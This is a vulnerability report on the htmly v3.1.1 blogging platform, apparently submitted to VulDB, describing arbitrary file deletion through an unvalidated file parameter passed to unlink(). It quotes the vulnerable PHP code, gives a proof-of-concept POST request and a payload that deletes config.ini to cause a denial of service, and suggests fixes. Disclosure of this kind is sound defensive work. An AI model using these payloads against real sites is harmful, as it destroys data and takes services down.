Submit #854991: danpros htmly v3.1.1 (latest) Path Traversal

# danpros htmly v3.1.1 /system/htmly.php Arbitrary File Deletion (CWE-22)

# NAME OF AFFECTED PRODUCT(S)

- htmly — Databaseless Blogging Platform (Flat-File CMS)

## Vendor Homepage

- https://www.htmly.com

# AFFECTED AND/OR FIXED VERSION(S)

## submitter

- orionyan

## Vulnerable File

- /system/htmly.php

## VERSION(S)

- v3.1.1 (latest)

## Software Link

- https://github.com/danpros/htmly

# PROBLEM TYPE

## Vulnerability Type

- Path Traversal / Arbitrary File Deletion (CWE-22)

## Root Cause

- The `/admin/users/:username/delete` POST handler in `/system/htmly.php` receives a `file` parameter from `$_REQUEST` and passes it directly to PHP's `unlink()` function without any path validation. There is no `realpath()` check, `basename()` extraction, or `../` filtering applied to the user-supplied path before the file deletion operation.

```php
// htmly.php line 2974-2985
post('/admin/users/:username/delete', function () {
$user = $_SESSION[site_url()]['user'] ?? null;
$role = user('role', $user) ?? null;
$file = from($_REQUEST, 'file') ?? null;
$username = from($_REQUEST, 'username') ?? null;
$user_role = user('role', $username) ?? null;
$proper = is_csrf_proper(from($_REQUEST, 'csrf_token')) ?? null;
if ($proper && login()) {
if ($role === 'admin') {
if ($user_role !== 'admin') {
unlink($file); // <-- NO PATH VALIDATION
delete_comments($file);
}
}
```

## Impact

- An authenticated administrator can delete arbitrary files on the server accessible to the PHP process by supplying a malicious absolute or relative path in the `file` parameter. This can lead to application denial of service (e.g., deleting `config/config.ini`), data loss, or further exploitation chains.

# DESCRIPTION

- During a security assessment of htmly v3.1.1, a path traversal vulnerability was discovered in the user deletion handler. The `file` parameter from the HTTP POST request is passed directly to `unlink()` with zero sanitization. An attacker with admin-level authentication can delete any server file the PHP process has write access to. The vulnerability was verified by successfully deleting a test file at `/var/www/html/PoC_DELETE_ME.txt` through a crafted POST request.

# Login or authorization is required to exploit this vulnerability

- Admin-level authentication and a valid CSRF token are required.

# Vulnerability details and POC

## Vulnerability location:

- `/admin/users/:username/delete` POST handler
- `file` parameter (from `$_REQUEST`)

## Payload:

```
POST /admin/users/admin/delete HTTP/1.1
Host: <target>
Cookie: PHPSESSID=<valid_admin_session>
Content-Type: application/x-www-form-urlencoded

csrf_token=<valid_token>&file=/var/www/html/PoC_DELETE_ME.txt&username=editor
```

### Verification:

1. Created test file: `echo "test" > /var/www/html/PoC_DELETE_ME.txt`
2. Sent the above POST request with a valid admin session and CSRF token
3. The file `/var/www/html/PoC_DELETE_ME.txt` was successfully deleted via `unlink($file)`

### Alternative payload (delete config, cause DoS):

```
file=config/config.ini&username=editor&csrf_token=<token>
```

# Suggested repair

1. **Validate file paths with realpath()**: Before passing to `unlink()`, resolve the path with `realpath()` and verify it stays within the intended directory (e.g., content directory).
2. **Use basename()**: Extract only the filename component to prevent directory traversal.
3. **Implement a whitelist**: Only allow deletion of files within specific allowed directories.
4. **Apply the principle of least privilege**: Run the PHP process with minimal filesystem permissions.

• Quelle: ⚠️ https://github.com/orionyan520/cve_report/issues/5
• Benutzer: orionyan (UID 98777)
• Einreichung: 10.06.2026 10:50 (vor 2 Monaten)
• Moderieren: 03.08.2026 13:19 (2 months later)
• Status: Akzeptiert
• VulDB Eintrag: 385563 [danpros HTMLy bis 3.1.1 Delete Username Endpoint /system/htmly.php unlink Datei Directory Traversal]
• Punkte: 20